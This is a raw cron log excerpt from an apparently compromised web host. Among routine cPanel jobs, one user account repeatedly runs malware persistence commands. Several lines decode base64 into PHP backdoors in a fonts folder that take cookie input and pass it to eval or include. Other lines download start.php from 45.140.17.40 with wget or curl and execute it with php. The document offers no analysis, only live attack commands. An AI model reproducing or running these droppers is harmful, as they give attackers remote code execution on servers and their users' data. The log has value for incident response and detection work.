Sep  6 09:49:01 ip-184-168-122-23 CROND[19191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:49:01 ip-184-168-122-23 CROND[19193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:50:01 ip-184-168-122-23 CROND[19283]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:50:01 ip-184-168-122-23 CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:50:01 ip-184-168-122-23 CROND[19289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:50:01 ip-184-168-122-23 CROND[19288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:50:01 ip-184-168-122-23 CROND[19292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:50:01 ip-184-168-122-23 CROND[19293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:50:01 ip-184-168-122-23 CROND[19291]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 09:50:01 ip-184-168-122-23 CROND[19294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:50:01 ip-184-168-122-23 CROND[19296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:51:01 ip-184-168-122-23 CROND[19385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:51:01 ip-184-168-122-23 CROND[19386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:51:01 ip-184-168-122-23 CROND[19387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:51:01 ip-184-168-122-23 CROND[19389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:52:01 ip-184-168-122-23 CROND[19480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:52:01 ip-184-168-122-23 CROND[19482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:52:01 ip-184-168-122-23 CROND[19483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:52:01 ip-184-168-122-23 CROND[19484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:52:01 ip-184-168-122-23 CROND[19485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:53:01 ip-184-168-122-23 CROND[19569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:53:01 ip-184-168-122-23 CROND[19571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:53:01 ip-184-168-122-23 CROND[19572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:53:01 ip-184-168-122-23 CROND[19573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:54:01 ip-184-168-122-23 CROND[19736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:54:01 ip-184-168-122-23 CROND[19737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:54:01 ip-184-168-122-23 CROND[19739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:54:01 ip-184-168-122-23 CROND[19740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:54:01 ip-184-168-122-23 CROND[19741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:55:01 ip-184-168-122-23 CROND[19825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:55:01 ip-184-168-122-23 CROND[19827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:55:01 ip-184-168-122-23 CROND[19829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:55:01 ip-184-168-122-23 CROND[19828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:55:01 ip-184-168-122-23 CROND[19831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:55:01 ip-184-168-122-23 CROND[19832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:56:01 ip-184-168-122-23 CROND[19943]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:56:01 ip-184-168-122-23 CROND[19945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:56:01 ip-184-168-122-23 CROND[19947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:56:01 ip-184-168-122-23 CROND[19946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:56:01 ip-184-168-122-23 CROND[19948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:57:01 ip-184-168-122-23 CROND[20031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:57:01 ip-184-168-122-23 CROND[20034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:57:01 ip-184-168-122-23 CROND[20032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:57:01 ip-184-168-122-23 CROND[20033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:58:01 ip-184-168-122-23 CROND[20138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:58:01 ip-184-168-122-23 CROND[20140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:58:01 ip-184-168-122-23 CROND[20142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:58:01 ip-184-168-122-23 CROND[20143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:58:01 ip-184-168-122-23 CROND[20141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:59:01 ip-184-168-122-23 CROND[20334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:59:01 ip-184-168-122-23 CROND[20337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:59:01 ip-184-168-122-23 CROND[20338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:59:01 ip-184-168-122-23 CROND[20339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:00:01 ip-184-168-122-23 CROND[20433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:00:01 ip-184-168-122-23 CROND[20435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:00:01 ip-184-168-122-23 CROND[20437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:00:01 ip-184-168-122-23 CROND[20441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:00:01 ip-184-168-122-23 CROND[20440]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 10:00:01 ip-184-168-122-23 CROND[20438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:00:01 ip-184-168-122-23 CROND[20439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:00:01 ip-184-168-122-23 CROND[20442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:00:01 ip-184-168-122-23 CROND[20436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:01:01 ip-184-168-122-23 CROND[20582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 10:01:01 ip-184-168-122-23 CROND[20584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:01:01 ip-184-168-122-23 CROND[20585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
